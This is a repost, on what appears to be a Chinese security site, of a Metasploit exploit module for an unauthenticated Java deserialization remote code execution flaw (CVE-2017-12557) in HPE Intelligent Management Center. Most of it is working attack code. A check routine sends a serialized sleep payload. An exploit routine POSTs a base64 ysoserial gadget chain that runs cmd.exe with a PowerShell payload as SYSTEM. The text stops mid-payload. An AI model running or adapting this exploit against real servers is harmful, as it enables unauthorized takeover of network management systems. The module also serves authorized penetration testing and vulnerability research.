首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HP Intelligent Management Java Deserialization Remote Code Execution
来源:metasploit.com 作者:MaartmannMoe 发布时间:2018-12-04  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name'           => "HP Intelligent Management Java Deserialization RCE",
      'Description'    => %q{
        This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of
        Hewlett Packard Enterprise Intelligent Management Center. Authentication is not required to exploit
        this vulnerability.

        The specific flaw exists within the WebDMDebugServlet, which listens on TCP ports 8080 and 8443 by
        default. The issue results from the lack of proper validation of user-supplied data, which can result
        in deserialization of untrusted data. An attacker can leverage this vulnerability to execute arbitrary
        code in the context of SYSTEM.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
            'Steven Seeley (mr_me) of Offensive Security',          # Discovery
            'Carsten @MaartmannMoe / cmm[at]transcendentgroup.com'  # Metasploit module
        ],
      'References'     =>
        [
            ['CVE', '2017-12557'],
            ['URL', 'https://github.com/pimps/ysoserial-modified/blob/master/src/main/java/ysoserial/payloads/JSON1.java'],
            ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-17-832/']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
            [ 'HPE IMC 7.3 E0504P2 and earlier / Windows', {} ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Oct 3 2017",
      'DefaultTarget'  => 0,
      'DefaultOptions' =>
        {
          'WfsDelay'   => 10
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']),
      Opt::RPORT('8080')
    ])
  end

  def check
    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'login.jsf'),
      'method' => 'GET'
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200 && res.body.include?('login_logo_hp.png')
      return CheckCode::Safe
    end

    # Java serialized ysoserial JSON1 synchronous sleep command, from https://github.com/federicodotta/Java-Deserialization-Scanner/blob/43653733ae58f63a9a4ef257ac2f276d1ca3c0a8/src/burp/BurpExtender.java
    data = Rex::Text.decode_base64 "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IALWphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLlRhYnVsYXJEYXRhU3VwcG9ydE9iDqhrlxdDAgACTAAHZGF0YU1hcHQAD0xqYXZhL3V0aWwvTWFwO0wAC3RhYnVsYXJUeXBldAAoTGphdmF4L21hbmFnZW1lbnQvb3Blbm1iZWFuL1RhYnVsYXJUeXBlO3hwc3IAFm5ldC5zZi5qc29uLkpTT05PYmplY3S4ZY8caCRw+QIAAloACm51bGxPYmplY3RMAApwcm9wZXJ0aWVzcQB+AAN4cABzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAF0AAF0c30AAAACAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAEFjb20uc3VuLmNvcmJhLnNlLnNwaS5vcmJ1dGlsLnByb3h5LkNvbXBvc2l0ZUludm9jYXRpb25IYW5kbGVySW1wbD9wFnM9MqjPAgACTAAYY2xhc3NUb0ludm9jYXRpb25IYW5kbGVycQB+AANMAA5kZWZhdWx0SGFuZGxlcnEAfgAMeHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hNYXA0wE5cEGzA+wIAAVoAC2FjY2Vzc09yZGVyeHEAfgAAP0AAAAAAAAx3CAAAABAAAAABdnIAKGphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLkNvbXBvc2l0ZURhdGEAAAAAAAAAAAAAAHhwc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXNxAH4AA0wABHR5cGV0ABFMamF2YS9sYW5nL0NsYXNzO3hwc3EAfgAAP0AAAAAAAAx3CAAAABAAAAABdAAQZ2V0Q29tcG9zaXRlVHlwZXNyAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVUeXBltYdG61oHn0ICAAJMABFuYW1lVG9EZXNjcmlwdGlvbnQAE0xqYXZhL3V0aWwvVHJlZU1hcDtMAApuYW1lVG9UeXBlcQB+ABp4cgAjamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uT3BlblR5cGWAZBqR6erePAIAA0wACWNsYXNzTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAC2Rlc2NyaXB0aW9ucQB+ABxMAAh0eXBlTmFtZXEAfgAceHB0AChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhdAABYnQAAWFzcgARamF2YS51dGlsLlRyZWVNYXAMwfY+LSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBwdwQAAAABcQB+ACBxAH4AIHhzcQB+ACFwdwQAAAABcQB+ACBzcgAlamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uU2ltcGxlVHlwZR6/T/jcZXgnAgAAeHEAfgAbdAARamF2YS5sYW5nLkludGVnZXJxAH4AJ3EAfgAneHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHgAc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIAA1oADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAGWgALcHJlRmlsdGVyZWRbAAxhZHZpc29yQXJyYXl0ACJbTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL0Fkdmlzb3I7TAATYWR2aXNvckNoYWluRmFjdG9yeXQAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNvckNoYWluRmFjdG9yeTtMAAhhZHZpc29yc3QAEExqYXZhL3V0aWwvTGlzdDtMAAppbnRlcmZhY2VzcQB+ADBMAAx0YXJnZXRTb3VyY2V0ACZMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvVGFyZ2V0U291cmNlO3hyAC1vcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuUHJveHlDb25maWeLS/Pmp+D3bwIABVoAC2V4cG9zZVByb3h5WgAGZnJvemVuWgAGb3BhcXVlWgAIb3B0aW1pemVaABBwcm94eVRhcmdldENsYXNzeHAAAAAAAAB1cgAiW0xvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5BZHZpc29yO9+DDa3SHoR0AgAAeHAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgAUamF2YS51dGlsLkxpbmtlZExpc3QMKVNdSmCIIgMAAHhwdwQAAAAAeHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXR0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAlJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhaABVfdXNlU2VydmljZXNNZWNoYW5pc21MABlfYWNjZXNzRXh0ZXJuYWxTdHlsZXNoZWV0cQB+ABxMAAtfYXV4Q2xhc3Nlc3QAO0xjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9IYXNodGFibGU7WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+ABxMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////AHQAA2FsbHB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGJcr+ur4AAAAxADIHADABADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQHAAQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHABkBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhAQAMSW5uZXJDbGFzc2VzBwAnAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAg8Y2xpbml0PgEAEGphdmEvbGFuZy9UaHJlYWQHACoBAAVzbGVlcAEABChKKVYMACwALQoAKwAuAQAfeXNvc2VyaWFsL1B3bmVyMjQ5NTYyMzkzMzM0NjA4NwEAIUx5c29zZXJpYWwvUHduZXIyNDk1NjIzOTMzMzQ2MDg3OwAhAAEAAwABAAUAAQAaAAcACAABAAkAAAACAAoABAABAAwADQABAA4AAAAvAAEAAQAAAAUqtwAPsQAAAAIAEQAAAAYAAQAAAC4AEgAAAAwAAQAAAAUAEwAxAAAAAQAVABYAAgAXAAAABAABABgADgAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAAzABIAAAAgAAMAAAABABMAMQAAAAAAAQAaABsAAQAAAAEAHAAdAAIAAQAVAB4AAgAXAAAABAABABgADgAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAA3ABIAAAAqAAQAAAABABMAMQAAAAAAAQAaABsAAQAAAAEAHwAgAAIAAAABACEAIgADAAgAKQANAAEADgAAABkAAwACAAAADacAAwFMEScQhbgAL7EAAAAAAAIAIwAAAAIAJAAlAAAACgABAAEAJgAoAAl1cQB+AEgAAAHUyv66vgAAADEAGwcAAgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vBwAEAQAQamF2YS9sYW5nL09iamVjdAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHABkBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQADRm9vACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgABAAEADAANAAEADgAAAC8AAQABAAAABSq3AA+xAAAAAgARAAAABgABAAAAOwASAAAADAABAAAABQATABQAAAACABUAAAACABYAFwAAAAoAAQABABgAGgAJcHQABFB3bnJwdwEAeHhzcgAmamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uVGFidWxhclR5cGVa9L2hxNYGPQIAAkwACmluZGV4TmFtZXNxAH4AMEwAB3Jvd1R5cGV0ACpMamF2YXgvbWFuYWdlbWVudC9vcGVubWJlYW4vQ29tcG9zaXRlVHlwZTt4cQB+ABt0ACZqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5UYWJ1bGFyRGF0YXEAfgAfcQB+ACBzcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AMHhyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNxAH4AOgAAAAF3BAAAAAFxAH4AIHhxAH4AVHEAfgAdcQB+AAVzcQB+AAJxAH4AB3EAfgBOcQB+AFV4"

    print_status "Verifying vulnerability by sending synchronous sleep command (#{data.length} bytes)..."
    t1 = Time.now.to_i
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, 'topo', 'WebDMDebugServlet'),
      'data'     => data
    })
    t2 = Time.now.to_i

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Detected
    end

    diff = t2 - t1
    if res.code == 500 && res.body.include?('HPE Intelligent Management Center') && diff >= 10
      print_good("Response received after #{diff} seconds.")
      return CheckCode::Vulnerable
    else
      return CheckCode::Appears
    end
  end

  def exploit
    data = set_payload

    print_status "Sending serialized Java object (#{data.length} bytes)..."
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, 'topo', 'WebDMDebugServlet'),
      'data'     => data
    })
  end

  def set_payload
    # JSON1 Serialized Stream start, middle and end, base64 encoded (from https://github.com/pimps/ysoserial-modified)
    # Recreation steps:
    #    wget https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar
    #    java -jar ysoserial-modified.jar JSON1 cmd "" > jsonss
    #     dd bs=1 if=jsonss of=jsonss_start skip=0 count=2645
    #     dd bs=1 if=jsonss of=jsonss_mid skip=2647 count=1230
    #     dd bs=1 if=jsonss of=jsonss_end skip=3879
    #     for i in `ls jsonss_*`; do
    #       cat $i | base64 -w0 > $i.b64
    #       echo "$i=\"`cat $i.b64 `\""
    #     done
    # NOTE: The `jsonss_end` contains two randomized strings (eg. "ysoserial/Pwner141434911504672")

    jsonss_start = Rex::Text.decode_base64 "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IALWphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLlRhYnVsYXJEYXRhU3VwcG9ydE9iDqhrlxdDAgACTAAHZGF0YU1hcHQAD0xqYXZhL3V0aWwvTWFwO0wAC3RhYnVsYXJUeXBldAAoTGphdmF4L21hbmFnZW1lbnQvb3Blbm1iZWFuL1RhYnVsYXJUeXBlO3hwc3IAFm5ldC5zZi5qc29uLkpTT05PYmplY3S4ZY8caCRw+QIAAloACm51bGxPYmplY3RMAApwcm9wZXJ0aWVzcQB+AAN4cABzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAF0AAF0c30AAAACAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAEFjb20uc3VuLmNvcmJhLnNlLnNwaS5vcmJ1dGlsLnByb3h5LkNvbXBvc2l0ZUludm9jYXRpb25IYW5kbGVySW1wbD9wFnM9MqjPAgACTAAYY2xhc3NUb0ludm9jYXRpb25IYW5kbGVycQB+AANMAA5kZWZhdWx0SGFuZGxlcnEAfgAMeHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hNYXA0wE5cEGzA+wIAAVoAC2FjY2Vzc09yZGVyeHEAfgAAP0AAAAAAAAx3CAAAABAAAAABdnIAKGphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLkNvbXBvc2l0ZURhdGEAAAAAAAAAAAAAAHhwc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXNxAH4AA0wABHR5cGV0ABFMamF2YS9sYW5nL0NsYXNzO3hwc3EAfgAAP0AAAAAAAAx3CAAAABAAAAABdAAQZ2V0Q29tcG9zaXRlVHlwZXNyAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVUeXBltYdG61oHn0ICAAJMABFuYW1lVG9EZXNjcmlwdGlvbnQAE0xqYXZhL3V0aWwvVHJlZU1hcDtMAApuYW1lVG9UeXBlcQB+ABp4cgAjamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uT3BlblR5cGWAZBqR6erePAIAA0wACWNsYXNzTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAC2Rlc2NyaXB0aW9ucQB+ABxMAAh0eXBlTmFtZXEAfgAceHB0AChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhdAABYnQAAWFzcgARamF2YS51dGlsLlRyZWVNYXAMwfY+LSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBwdwQAAAABcQB+ACBxAH4AIHhzcQB+ACFwdwQAAAABcQB+ACBzcgAlamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uU2ltcGxlVHlwZR6/T/jcZXgnAgAAeHEAfgAbdAARamF2YS5sYW5nLkludGVnZXJxAH4AJ3EAfgAneHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHgAc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIAA1oADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAGWgALcHJlRmlsdGVyZWRbAAxhZHZpc29yQXJyYXl0ACJbTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL0Fkdmlzb3I7TAATYWR2aXNvckNoYWluRmFjdG9yeXQAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNvckNoYWluRmFjdG9yeTtMAAhhZHZpc29yc3QAEExqYXZhL3V0aWwvTGlzdDtMAAppbnRlcmZhY2VzcQB+ADBMAAx0YXJnZXRTb3VyY2V0ACZMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvVGFyZ2V0U291cmNlO3hyAC1vcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuUHJveHlDb25maWeLS/Pmp+D3bwIABVoAC2V4cG9zZVByb3h5WgAGZnJvemVuWgAGb3BhcXVlWgAIb3B0aW1pemVaABBwcm94eVRhcmdldENsYXNzeHAAAAAAAAB1cgAiW0xvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5BZHZpc29yO9+DDa3SHoR0AgAAeHAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgAUamF2YS51dGlsLkxpbmtlZExpc3QMKVNdSmCIIgMAAHhwdwQAAAAAeHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXR0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4AHEwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAA="
    jsonss_mid = Rex::Text.decode_base64 "yv66vgAAADMAPwoAAwAiBwA9BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAEGphdmEvbGFuZy9TdHJpbmcHADABAAdjbWQuZXhlCAAyAQACL2MIADQB"
    jsonss_end = Rex::Text.decode_base64 "CAA2AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADgAOQoAKwA6AQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjE0MTQzNDkxMTUwNDY3MgEAIEx5c29zZXJpYWwvUHduZXIxNDE0MzQ5MTE1MDQ2NzI7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAMAAOAAAADAABAAAABQAPAD4AAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANQAOAAAAIAADAAAAAQAPAD4AAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOQAOAAAAKgAEAAAAAQAPAD4AAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAANQAGAAIAAAAgpwADAUy4AC8GvQAxWQMSM1NZBBI1U1kFEjdTtgA7V7EAAAABADwAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AEYAAAHUyv66vgAAADMAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHhzcgAmamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uVGFidWxhclR5cGVa9L2hxNYGPQIAAkwACmluZGV4TmFtZXNxAH4AMEwAB3Jvd1R5cGV0ACpMamF2YXgvbWFuYWdlbWVudC9vcGVubWJlYW4vQ29tcG9za